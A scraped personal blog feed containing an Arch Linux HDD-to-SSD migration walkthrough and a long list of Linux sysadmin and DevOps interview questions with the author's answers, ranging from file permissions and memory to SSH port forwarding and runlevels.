EKJekyllhttps://i.imgur.com/s7cqI3w.jpg2016-09-11T23:24:57+03:00https://jivoi.github.io/EKhttps://jivoi.github.io/[email protected]https://jivoi.github.io/2016/04/04/move-from-hdd-to-ssd-with-archlinux2016-04-04 15:44:01 +0300T00:00:00-00:002016-04-04T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Migrate ArchLinux from HDD to SDD</p>
<h3 id="system-prepare">System prepare</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># clean pacman cache</span>
<span class="nv">$ </span>pacman -Scc</code></pre></div>
<h3 id="boot-from-the-arch-livecd">Boot from the Arch liveCD</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># partitioned via gdisk /dev/sdb1 for /boot 1G and /dev/sdb2 for / with all space</span>
<span class="nv">$ </span>gdisk /dev/sdb
<span class="nv">$ </span>mkfs.ext4 /dev/sdb1
<span class="nv">$ </span>mkfs.ext4 /dev/sdb2
<span class="nv">$ </span>mount /dev/sdb2 /mnt
<span class="nv">$ </span>mkdir /mnt/boot
<span class="nv">$ </span>mount /dev/sdb1 /mnt/boot
<span class="nv">$ </span>mkdir /mnt_old
<span class="nv">$ </span>mount /dev/sda3 /mnt_old
<span class="nv">$ </span>rsync -aAXv --progress /mnt_old /mnt
<span class="nv">$ </span>genfstab -U -p /mnt > /mnt/etc/fstab
<span class="nv">$ </span>mount --bind /dev /mnt/dev
<span class="nv">$ </span>mount --bind /proc /mnt/proc
<span class="nv">$ </span>mount --bind /sys /mnt/sys
<span class="nv">$ </span>chroot /mnt /bin/bash
<span class="nv">$ </span>grub-install --debug --recheck /dev/sdb
<span class="nv">$ </span>grub-install --target<span class="o">=</span>i386-pc --debug --recheck /dev/sdb
<span class="nv">$ </span>grub-mkconfig -o /boot/grub/grub.cfg
<span class="nv">$ </span>mkinitcpio -p linux</code></pre></div>
<h3 id="edit-fstab">Edit fstab</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># add noatime,discard for SSD partions</span>
<span class="nb">echo</span> <span class="s2">"tmpfs /tmp tmpfs defaults,noatime,mode=1777 0 0"</span> >> /etc/fstab</code></pre></div>
<h3 id="enable-deadline-scheduler-for-ssd">Enable deadline scheduler for SSD</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>vi /etc/udev/rules.d/60-schedulers.rules
<span class="nv">ACTION</span><span class="o">==</span><span class="s2">"add|change"</span>, <span class="nv">KERNEL</span><span class="o">==</span><span class="s2">"sdb"</span>, ATTR<span class="o">{</span>queue/rotational<span class="o">}==</span><span class="s2">"0"</span>, ATTR<span class="o">{</span>queue/scheduler<span class="o">}=</span><span class="s2">"deadline"</span></code></pre></div>
<h3 id="enable-fstrim-service">Enable FSTRIM service</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>systemctl <span class="nb">enable </span>fstrim.service</code></pre></div>
<h3 id="exit-chroot-add-reboot">Exit chroot add reboot</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">exit</span>
<span class="nv">$ </span>reboot</code></pre></div>
<p><a href="https://jivoi.github.io/2016/04/04/move-from-hdd-to-ssd-with-archlinux/">Move from HDD to SSD with ArchLinux</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on April 04, 2016.</p>https://jivoi.github.io/2016/01/22/linux-sysadm-devops-interview-questions2016-01-22 17:13:26 +0300T00:00:00-00:002016-01-22T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>A collection of Linux SysAdm/DevOps interview questions with my answers</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#general-questions" id="markdown-toc-general-questions">[[⬆]]General Questions:</a></li>
<li><a href="#simple-linux-questions" id="markdown-toc-simple-linux-questions">[[⬆]]Simple Linux Questions:</a></li>
<li><a href="#medium-linux-questions" id="markdown-toc-medium-linux-questions">[[⬆]]Medium Linux Questions:</a></li>
<li><a href="#hard-linux-questions" id="markdown-toc-hard-linux-questions">[[⬆]]Hard Linux Questions:</a></li>
<li><a href="#expert-linux-questions" id="markdown-toc-expert-linux-questions">[[⬆]]Expert Linux Questions:</a></li>
<li><a href="#networking-questions" id="markdown-toc-networking-questions">[[⬆]]Networking Questions:</a></li>
<li><a href="#mysql-questions" id="markdown-toc-mysql-questions">[[⬆]]MySQL questions:</a></li>
<li><a href="#devops-questions" id="markdown-toc-devops-questions">[[⬆]]DevOps Questions:</a></li>
<li><a href="#fun-questions" id="markdown-toc-fun-questions">[[⬆]]Fun Questions:</a></li>
<li><a href="#demo-time" id="markdown-toc-demo-time">[[⬆]]Demo Time:</a></li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<p><a href="https://github.com/chassing/linux-sysadmin-interview-questions">SOURCE</a></p>
<h3 id="general-questions">[[⬆]]General Questions:</h3>
<ul>
<li>What did you learn yesterday/this week?</li>
<li>Talk about your preferred development/administration environment. (OS, Editor, Browsers, Tools etc.)</li>
<li>Tell me about the last major Linux project you finished.</li>
<li>Tell me about the biggest mistake you’ve made in [some recent time period] and how you would do it differently today. What did you learn from this experience?</li>
<li>Why we must choose you?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">I am awesome!</code></pre></div>
<ul>
<li>What function does DNS play on a network?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The DNS plays a critical role in supporting the Internet infrastructure by providing a distributed and fairly robust mechanism that resolves Internet host names into IP addresses and IP addresses back into host names.</code></pre></div>
<p><a href="http://compsec101.antibozo.net/papers/dnssec/dnssec.html">Read More</a></p>
<ul>
<li>What is HTTP?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The Hypertext Transfer Protocol <span class="o">(</span>HTTP<span class="o">)</span> is an application protocol <span class="k">for</span> distributed, collaborative, hypermedia information systems.<span class="o">[</span>1<span class="o">]</span> HTTP is the foundation of data communication <span class="k">for</span> the World Wide Web.
Hypertext is structured text that uses logical links <span class="o">(</span>hyperlinks<span class="o">)</span> between nodes containing text. HTTP is the protocol to exchange or transfer hypertext.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol">Read More</a></p>
<ul>
<li>What is an HTTP proxy and how does it work?</li>
<li>Describe briefly how HTTPS works.</li>
<li>What is SMTP? Give the basic scenario of how a mail message is delivered via SMTP.</li>
<li>What is RAID? What is RAID0, RAID1, RAID5, RAID10?</li>
<li>What is a level 0 backup? What is an incremental backup?</li>
<li>Describe the general file system hierarchy of a Linux system.</li>
</ul>
<h3 id="simple-linux-questions">[[⬆]]Simple Linux Questions:</h3>
<ul>
<li>What is the name and the UID of the administrator user?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Name - root
UID - 0
Can check with <span class="nb">command</span>:
<span class="nv">$ </span>id root
<span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span></code></pre></div>
<ul>
<li>How to list all files, including hidden one, in a directory?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ls - <span class="nb">command </span>ti list directory contents
a - argument show hidden files in a directory
Full <span class="nb">command</span>:
<span class="nv">$ </span>ls -a ./</code></pre></div>
<ul>
<li>What is the Unix/Linux command to remove a directory and its contents?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">rm - <span class="nb">command </span>to remove files or directories
r - argument tp remove directories and their contents recursively
Full <span class="nb">command</span>:
<span class="nv">$ </span>rm -r ./somedir</code></pre></div>
<ul>
<li>Which command will show you free/used memory? Does free memory exist on Linux?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">free - <span class="nb">command </span>to display amount of free and used memory in the system
Full <span class="nb">command</span>:
<span class="nv">$ </span>free
total used free shared buffers cached
Mem: <span class="m">1551836</span> <span class="m">1048324</span> <span class="m">503512</span> <span class="m">0</span> <span class="m">324244</span> 518224
-/+ buffers/cache: <span class="m">205856</span> 1345980
Swap: <span class="m">731132</span> <span class="m">0</span> 731132</code></pre></div>
<ul>
<li>How to search for the string “my konfi is the best” in files of a directory recursively?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">You can use find and grep command.
Full <span class="nb">command</span>:
<span class="nv">$ </span>find ./* -type f -exec grep -H <span class="s1">'my konfi is the best'</span> <span class="o">{}</span> <span class="se">\;</span>
<span class="nv">$ </span>grep -r <span class="s1">'my konfi is the best'</span> ./*</code></pre></div>
<p><a href="https://stackoverflow.com/questions/16956810/finding-all-files-containing-a-text-string-on-linux">Read More</a></p>
<ul>
<li>How to connect to a remote server or what is SSH?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Secure Shell, or SSH, is a cryptographic <span class="o">(</span>encrypted<span class="o">)</span> network protocol to allow remote login and other network services to operate securely over an unsecured network.
To connect to remote server we can use <span class="nb">command </span>ssh
Full <span class="nb">command</span>:
<span class="nv">$ </span>ssh login@remote_server_ip</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Secure_Shell">Read More</a></p>
<ul>
<li>How to get all environment variables and how can you use them?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">All UNIX-like operating systems such as OpenBSD, Linux, Redhat, CentOS, Debian allows you to <span class="nb">set </span>environment variables. When you log in on UNIX, your current shell <span class="o">(</span>login shell<span class="o">)</span> sets a unique working environment <span class="k">for</span> you which is maintained <span class="k">until</span> you log out.
printenv<span class="se">\e</span>nv - <span class="nb">command </span>to print all or part of environment
Full <span class="nb">command</span>:
<span class="nv">$ </span>printenv PATH HOME
<span class="nv">$PATH</span> - Display lists directories the shell searches, <span class="k">for</span> the commands.
<span class="nv">$HOME</span> - User<span class="err">'</span>s home directory to store files.
All environment variables you can use in scripts.</code></pre></div>
<p><a href="http://www.tutorialspoint.com/unix/unix-environment.htm">Read More</a></p>
<ul>
<li>I get “command not found” when I run <code>ifconfig -a</code>. What can be wrong?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Possible causes:
1. net-tools package is not installed in your system.
2. you don<span class="sb">`</span>t have <span class="s2">"/sbin"</span> directory in your <span class="nv">$PATH</span>, so just write full path <span class="k">for</span> <span class="nb">command</span> - /sbin/ifconfig -a</code></pre></div>
<ul>
<li>What happens if I type TAB-TAB?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">It depends where you are <span class="nb">type </span>this.
If we are talking about shells like bash<span class="se">\z</span>sh, so you <span class="nb">type </span>TAB-TAB it will <span class="nb">enable </span>built in <span class="s2">"completion"</span> <span class="k">function</span>.
Most shells allow <span class="nb">command </span>completion, typically bound to the TAB key, which allow you to <span class="nb">complete </span>the names of commands stored upon your PATH, file names, or directory names. This is typically used like so:
<span class="nv">$ </span>ls /bo<span class="o">[</span>TAB<span class="o">]</span>
When you press the TAB key the argument /bo is automatically replaced with the value /boot.</code></pre></div>
<p><a href="https://www.debian-administration.org/article/316/An_introduction_to_bash_completion_part_1">Read More</a></p>
<ul>
<li>What command will show the available disk space on the Unix/Linux system?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">df - report file system disk space usage
Simple run <span class="nb">command </span>and you will see available disk space in your system
<span class="nv">$ </span>df -h</code></pre></div>
<ul>
<li>What commands do you know that can be used to check DNS records?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>host example.com
<span class="nv">$ </span>nslookup example.com
<span class="nv">$ </span>dig example.com
<span class="nv">$ </span>python -c <span class="s2">"import socket;print(socket.gethostbyname('example.com'))"</span></code></pre></div>
<ul>
<li>What Unix/Linux commands will alter a files ownership, files permissions?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">chown - <span class="nb">command </span>to change file owner and group information.
chmod - <span class="nb">command </span>to change file access permissions such as <span class="nb">read</span>, write, and access.</code></pre></div>
<ul>
<li>What does <code>chmod +x FILENAME</code>do?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This <span class="nb">command </span>will <span class="nb">set </span>executation bit to FILENAME <span class="k">for</span> everybody owner<span class="se">\g</span>roup<span class="se">\o</span>ther.</code></pre></div>
<ul>
<li>What does the permission 0750 on a file mean?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>chmod <span class="m">750</span> FILENAME
-rwxr-x--- <span class="m">1</span> root root <span class="m">24</span> Jan <span class="m">22</span> 18:02 FILENAME*
This permissions means that owner can <span class="nb">read</span><span class="se">\w</span>rite<span class="se">\e</span>xecute this file, also members of group can <span class="nb">read </span>and execute, other users can <span class="k">do</span> nothing with it.</code></pre></div>
<ul>
<li>What does the permission 0750 on a directory mean?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>chmod <span class="m">750</span> DIRECTORY
drwxr-x--- <span class="m">5</span> root root 4.0K Nov <span class="m">10</span> 12:36 DIRECTORY
This permissions means that owner can <span class="nb">read</span><span class="se">\w</span>rite<span class="se">\e</span>xecute<span class="o">(</span>see file list of directory<span class="o">)</span> this directory, also members of group can <span class="nb">read </span>and list, other users can <span class="k">do</span> nothing with it.</code></pre></div>
<ul>
<li>
<p>How to add a new system user without login permissions?</p>
</li>
<li>
<p>How to add/remove a group from a user?</p>
</li>
<li>
<p>What is a bash alias?</p>
</li>
<li>
<p>How do you set the mail address of the root/a user?</p>
</li>
<li>
<p>What does CTRL-c do?</p>
</li>
<li>
<p>What is in /etc/services?</p>
</li>
<li>
<p>How to redirect STDOUT and STDERR in bash? (> /dev/null 2>&1)</p>
</li>
<li>
<p>What is the difference between UNIX and Linux.</p>
</li>
<li>
<p>What is the difference between Telnet and SSH?</p>
</li>
<li>
<p>Explain the three load averages and what do they indicate.</p>
</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">To see load averages numbers you can run commands:
<span class="nv">$ </span>top <span class="o">(</span>see load average section<span class="o">)</span>
<span class="nv">$ </span>cat /proc/loadavg
1.00 1.01 0.98 2/198 21533
<span class="nv">$ </span>uptime
18:37:28 up <span class="m">4</span> days, 7:17, <span class="m">4</span> users, load average: 1.00, 1.01, 0.98
The three numbers after load average - 1.00, 1.01, 0.98 - represent the 1-, 5-, and 15-minute load averages on the machine. A system load average is equal to the average number of processes in a runnable or uninterruptible state. Runnable processes are either currently using the CPU or waiting to <span class="k">do</span> so, and uninterruptible processes are waiting <span class="k">for</span> I/O.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Load_(computing)">Read More</a></p>
<h3 id="medium-linux-questions">[[⬆]]Medium Linux Questions:</h3>
<ul>
<li>What do the following commands do and how would you use them?</li>
<li><code>tee</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">tee - <span class="nb">read </span>from standard input and write to standard output and files
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"deb http://pkg.jenkins-ci.org/debian binary/"</span> <span class="p">|</span> sudo tee -a /etc/apt/sources.list.d/jenkins.list</code></pre></div>
<ul>
<li><code>awk</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The awk is most useful when handling text files that are formatted in a predictable way. For instance, it is excellent at parsing and manipulating tabular data. It operates on a line-by-line basis and iterates through the entire file.
The awk syntax looks like this:
awk <span class="s1">'/search_pattern/ { action_to_take_on_matches; another_action; }'</span> file_to_parse
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span>awk <span class="s1">'{print}'</span> /etc/fstab</code></pre></div>
<ul>
<li><code>tr</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">We can use tr <span class="k">for</span> translating, or deleting, or squeezing repeated characters.
It will <span class="nb">read </span>from STDIN and write to STDOUT.
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span>tr a-z A-Z
<span class="nv">$ </span>tr <span class="s1">'()'</span> <span class="s1">'{}'</span></code></pre></div>
<ul>
<li><code>cut</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">The <span class="nb">command </span>cut is used <span class="k">for</span> text processing.
We can use this <span class="nb">command </span>to extract portion of text from a file by selecting columns.
cut OPTION... <span class="o">[</span>FILE<span class="o">]</span>...
For example you can use this <span class="nb">command </span>like this:
The example displays only the first field of each lines from /etc/passwd file using the field delimiter : <span class="o">(</span>colon<span class="o">)</span>. In this <span class="k">case</span>, the 1st field is the username.
<span class="nv">$ </span>cut -d <span class="s1">':'</span> -f <span class="m">1</span> < /etc/passwd</code></pre></div>
<ul>
<li><code>tac</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">tac <span class="o">(</span>which is <span class="s2">"cat"</span> backwards<span class="o">)</span> concatenate and print files in reverse
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span>cat ok
1
2
3
<span class="nv">$ </span>tac ok
3
2
1</code></pre></div>
<ul>
<li><code>curl</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Curl is a tool to transfer data from or to a server, using one of the supported protocols <span class="o">(</span>DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP<span class="o">)</span>. The <span class="nb">command </span>is designed to work without user interaction.
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span>curl https://example.com</code></pre></div>
<ul>
<li><code>wget</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Wget is a free utility <span class="k">for</span> non-interactive download of files from the Web.
It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP proxies.
Wget is non-interactive, meaning that it can work in the background, <span class="k">while</span> the user is not logged on.
This allows you to start a retrieval and disconnect from the system, letting Wget finish the work.
By contrast, most of the Web browsers require constant user<span class="err">'</span>s presence, which can be a great hindrance when transferring a lot of data.
For example you can use this <span class="nb">command </span>like this:
<span class="nv">$ </span>wget -S https://example.com</code></pre></div>
<ul>
<li><code>watch</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">watch runs <span class="nb">command </span>repeatedly, displaying its output and errors <span class="o">(</span>the first screenfull<span class="o">)</span>. This allows you to watch the program output change over time. By default, the program is run every <span class="m">2</span> seconds. By default, watch will run <span class="k">until</span> interrupted.
For example you can use this <span class="nb">command </span>like this:
To watch the contents of a directory change, you could use
<span class="nv">$ </span>watch -d ls -l</code></pre></div>
<ul>
<li><code>head</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Print the first <span class="m">10</span> lines of each FILE to standard output.
With more than one FILE, precede each with a header giving the file name.
With no FILE is <span class="nb">read </span>standard input.
For example you can use this <span class="nb">command </span>like this:
To print first <span class="m">10</span> lines
<span class="nv">$ </span>head /etc/passws</code></pre></div>
<ul>
<li><code>tail</code></li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Print the last <span class="m">10</span> lines of each FILE to standard output.
With more than one FILE, precede each with a header giving the file name.
With no FILE is <span class="nb">read </span>standard input.
For example you can use this <span class="nb">command </span>like this:
To print last <span class="m">10</span> lines
<span class="nv">$ </span>tail /etc/passws</code></pre></div>
<ul>
<li>What does a <code>&</code> after a command do?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">This is known as job control under unix. The <span class="p">&</span> informs the shell to put the <span class="nb">command </span>in the background.
This means it continues to run the <span class="nb">command </span>but returns you to your shell to allows you to <span class="k">continue</span> doing parallel commands and <span class="k">do</span> not have to <span class="nb">wait </span><span class="k">until</span> the script is finished. If you forget to add <span class="p">&</span> after <span class="nb">command</span>, you can stop the current running process with Ctrl-Z and <span class="k">continue</span> it in the background with <span class="nb">bg</span> <span class="o">(</span>or in the foreground with <span class="nb">fg</span><span class="o">)</span>.</code></pre></div>
<p><a href="https://unix.stackexchange.com/questions/86247/what-does-ampersand-mean-at-the-end-of-a-shell-script-line">Read More</a></p>
<ul>
<li>What does <code>& disown</code> after a command do?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="p">&</span> puts the job in the background, that is, makes it block on attempting to <span class="nb">read </span>input, and makes the shell not <span class="nb">wait </span><span class="k">for</span> its completion.
<span class="nb">disown </span>removes the process from the shell<span class="s1">'s job control, but it still leaves it connected to the terminal. One of the results is that the shell won'</span>t send it a SIGHUP. Obviously, it can only be applied to background <span class="nb">jobs</span>, because you cannot enter it when a foreground job is running.</code></pre></div>
<p><a href="https://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and">Read More</a></p>
<ul>
<li>What is a packet filter and how does it work?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Packet filters act by inspecting the <span class="s2">"packets"</span> which are transferred between computers on the Internet. If a packet does not match the packet filter<span class="err">'</span>s <span class="nb">set </span>of filtering rules, the packet filter will drop.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Firewall_(computing)">Read More</a></p>
<ul>
<li>What is Virtual Memory?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">In computing, virtual memory is a memory management technique that is implemented using both hardware and software. It maps memory addresses used by a program, called virtual addresses, into physical addresses in computer memory. Main storage as seen by a process or task appears as a contiguous address space or collection of contiguous segments. The operating system manages virtual address spaces and the assignment of real memory to virtual memory.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Virtual_memory">Read More</a></p>
<ul>
<li>What is swap and what is it used for?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Swap is a special <span class="nb">type </span>of memory.
Swap space in Linux is used when the amount of physical memory <span class="o">(</span>RAM<span class="o">)</span> is full. If the system needs more memory resources and the RAM is full, inactive pages in memory are moved to the swap space. While swap space can <span class="nb">help </span>machines with a small amount of RAM, it should not be considered a replacement <span class="k">for</span> more RAM. Swap space is located on hard drives, which have a slower access <span class="nb">time </span>than physical memory.
Swapping is a useful technique that enables a computer to execute programs and manipulate data files larger than main memory. The operating system copies as much data as possible into main memory, and leaves the rest on the disk. When the operating system needs data from the disk, it exchanges a portion of data <span class="o">(</span>called a page or segment<span class="o">)</span> in main memory with a portion of data on the disk.</code></pre></div>
<p><a href="https://www.centos.org/docs/5/html/5.2/Deployment_Guide/s1-swap-what-is.html">Read More</a></p>
<ul>
<li>
<p>What is an A record, an NS record, a PTR record, a CNAME record, an MX record?</p>
</li>
<li>
<p>Are there any other RRs and what are they used for?</p>
</li>
<li>
<p>What is a Split-Horizon DNS?</p>
</li>
<li>
<p>What is the sticky bit?</p>
</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A sticky bit is a permission bit that is <span class="nb">set </span>on a directory that allows only the owner of the file within that directory or the root user to delete or rename the file. No other user has the needed privileges to delete the file created by some other user.
To remove sticky bit:
sudo chmod -t /tmp
To <span class="nb">set </span>sticky bit:
<span class="nv">$ </span>sudo chmod +t /tmp</code></pre></div>
<p><a href="https://askubuntu.com/questions/432699/what-is-the-t-letter-in-the-output-of-ls-ld-tmp">Read More</a></p>
<ul>
<li>
<p>What does the immutable bit to a file?</p>
</li>
<li>
<p>What is the difference between hardlinks and symlinks? What happens when you remove the source to a symlink/
hardlink?</p>
</li>
<li>
<p>What is an inode and what fields are stored in an inode?</p>
</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">inode is a <span class="s2">"database"</span> of all file information that tells about file structure.
The inode of each file uses a pointer to point to the specific file, directory or object.
The pointer is a unique number which usually is referred to as the inode number.</code></pre></div>
<ul>
<li>
<p>Howto force/trigger a file system check on next reboot?</p>
</li>
<li>
<p>What is SNMP and what is it used for?</p>
</li>
<li>
<p>What is a runlevel and how to get the current runlevel?</p>
</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Runlevel is a mode of operation in OS, and a runlevel represents the different system state of a Linux system. When the Linux system boots, the kernel is initialized , and <span class="k">then</span> enters one <span class="o">(</span>and only one<span class="o">)</span> runlevel. When a service starts, it will try to start all the services that are associated with that runlevel.
In general, when a computer enters runlevel 0, the system shuts down all running processes, unmounts all file systems, and powers off.
When it enters runlevel 6, it reboots.
The intermediate runlevels <span class="o">(</span>1-5<span class="o">)</span> differ in terms of which drives are mounted, and which network services are started. Default runlevels are typically 3, 4, or 5.
Runlevel <span class="m">1</span> is reserved <span class="k">for</span> single-user mode-a state where only a single user can log in to the system. Generally, few processes are started in single-user mode, so it is a very useful runlevel <span class="k">for</span> diagnostics when a system won<span class="s1">'t fully boot. Even in the default GRUB menu we will notice a recovery mode option that boots us into runlevel 1.</span>
<span class="s1">In other words, runlevels define what tasks can be accomplished in the current state (or runlevel) of a Linux system. Every Linux system supports three basic runlevels, plus one or more runlevels for normal operation.</span>
<span class="s1">Lower run levels are useful for maintenance or emergency repairs, since they usually don'</span>t offer any network services at all.
To check current runlevel:
<span class="nv">$ </span>runlevel
N 2</code></pre></div>
<ul>
<li>
<p>What is SSH port forwarding?</p>
</li>
<li>
<p>What is the difference between local and remote port forwarding?</p>
</li>
<li>
<p>What are the steps to add a user to a system without using useradd/adduser?</p>
</li>
<li>
<p>What is MAJOR and MINOR numbers of special files?</p>
</li>
<li>
<p>Describe a scenario when you get a “filesystem is full” error, but ‘df’ shows there is free space.</p>
</li>
<li>
<p>Describe a scenario when deleting a file, but ‘df’ not showing the space being freed.</p>
</li>
<li>
<p>Describe how ‘ps’ works.</p>
</li>
<li>
<p>What happens to a child process that dies and has no parent process to wait for it and what’s bad about this?</p>
</li>
<li>
<p>Explain briefly each one of the process states.</p>
</li>
<li>
<p>How to know which process listens on a specific port?</p>
</li>
<li>
<p>What is a zombie process and what could be the cause of it?</p>
</li>
<li>
<p>You run a bash script and you want to see its output on your terminal and save it to a file at the same time. How could you do it?</p>
</li>
<li>
<p>Explain what echo “1” > /proc/sys/net/ipv4/ip_forward does.</p>
</li>
<li>
<p>Describe briefly the steps you need to take in order to create and install a valid certificate for the site
https://foo.example.com.</p>
</li>
<li>
<p>Can you have several HTTPS virtual hosts sharing the same IP?</p>
</li>
<li>
<p>What is a wildcard certificate?</p>
</li>
<li>
<p>Which Linux file types do you know?</p>
</li>
<li>
<p>What is the difference between a process and a thread? And parent and child processes after a fork system call?</p>
</li>
<li>
<p>What is the difference between exec and fork?</p>
</li>
<li>
<p>What is “nohup” used for?</p>
</li>
<li>What is the difference between these two commands?</li>
<li><code>myvar=hello</code></li>
<li>
<p><code>export myvar=hello</code></p>
</li>
<li>
<p>How many NTP servers would you configure in your local ntp.conf?</p>
</li>
<li>
<p>What does the column ‘reach’ mean in <code>ntpq -p</code> output?</p>
</li>
<li>
<p>You need to upgrade kernel at 100-1000 servers, how you would do this?</p>
</li>
<li>
<p>How can you get Host, Channel, ID, LUN of SCSI disk?</p>
</li>
<li>How can you limit process memory usage?</li>
</ul>
<h3 id="hard-linux-questions">[[⬆]]Hard Linux Questions:</h3>
<ul>
<li>What is a tunnel and how you can bypass a http proxy?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A tunnel is a mechanism used to ship a foreign protocol across a network that normally wouldn<span class="s1">'t support it. Tunneling protocols allow you to use, for example, IP to send another protocol in the "data" portion of the IP datagram. Most tunneling protocols operate at layer 4, which means they are implemented as a protocol that replaces something like TCP or UDP.</span>
<span class="s1">You can forward a port from your computer to a remote computer, which has the result of tunneling your data over SSH in the process, making it secure. This may not seem useful, after all, why would I want a port on my computer being forwarded to another computer? The answer lies within some clarification. The port forwarding function of SSH works by first listening on a local socket for a connection. When a connection is made, SSH will forward the entire connection onto the remote host and portable.</span>
<span class="s1">For example: '</span>ssh -L80:workserver.com:80 [email protected]<span class="err">'</span>
This <span class="nb">command </span>creates an SSH connection to your workdesktop.com computer, but at the same <span class="nb">time </span>opens port <span class="m">80</span> on your <span class="nb">local </span>machine. If you point your web browser at http://localhost, the connection will actually be forwarded through your SSH connection to your desktop, and sent onto the workserver.com server, port 80.</code></pre></div>
<ul>
<li>What is the difference between IDS and IPS?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">IDS - Intrusion Detection System - A device or application that analyzes whole packets, both header and payload, looking <span class="k">for</span> known events. When a known event is detected a log message is generated detailing the event.
IPS - Intrusion Prevention System - A device or application that analyzes whole packets, both header and payload, looking <span class="k">for</span> known events. When a known event is detected the packet is rejected.</code></pre></div>
<ul>
<li>What shortcuts do you use on a regular basis?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">A lot, <span class="k">for</span> example check my dotfiles git https://github.com/jivoi/dotfiles/blob/master/.aliases</code></pre></div>
<ul>
<li>What is the Linux Standard Base?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">LSB is a project to standardize the software system structure, including the filesystem hierarchy used in the Linux operating system. The LSB is based on the POSIX specification, the Single UNIX Specification <span class="o">(</span>SUS<span class="o">)</span>, and several other open standards, but extends them in certain areas.</code></pre></div>
<p><a href="https://en.wikipedia.org/wiki/Linux_Standard_Base">Read More</a></p>
<ul>
<li>What is an atomic operation?</li>
</ul>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">For example we can say that atomic operation is a an operation during which a process can simultaneously <span class="nb">read </span>a location and write it in the same bus operation. This prevents any other process or I/O device from writing or reading memory <span class="k">until</span> the operation is complete. Atomic implies indivisibility and irreducibility, so an atomic operation must be performed entirely or not performed at all.</code></pre></div>
<ul>
<li>Your freshly configured http server is not running after a restart, what can you do?</li>
</ul>
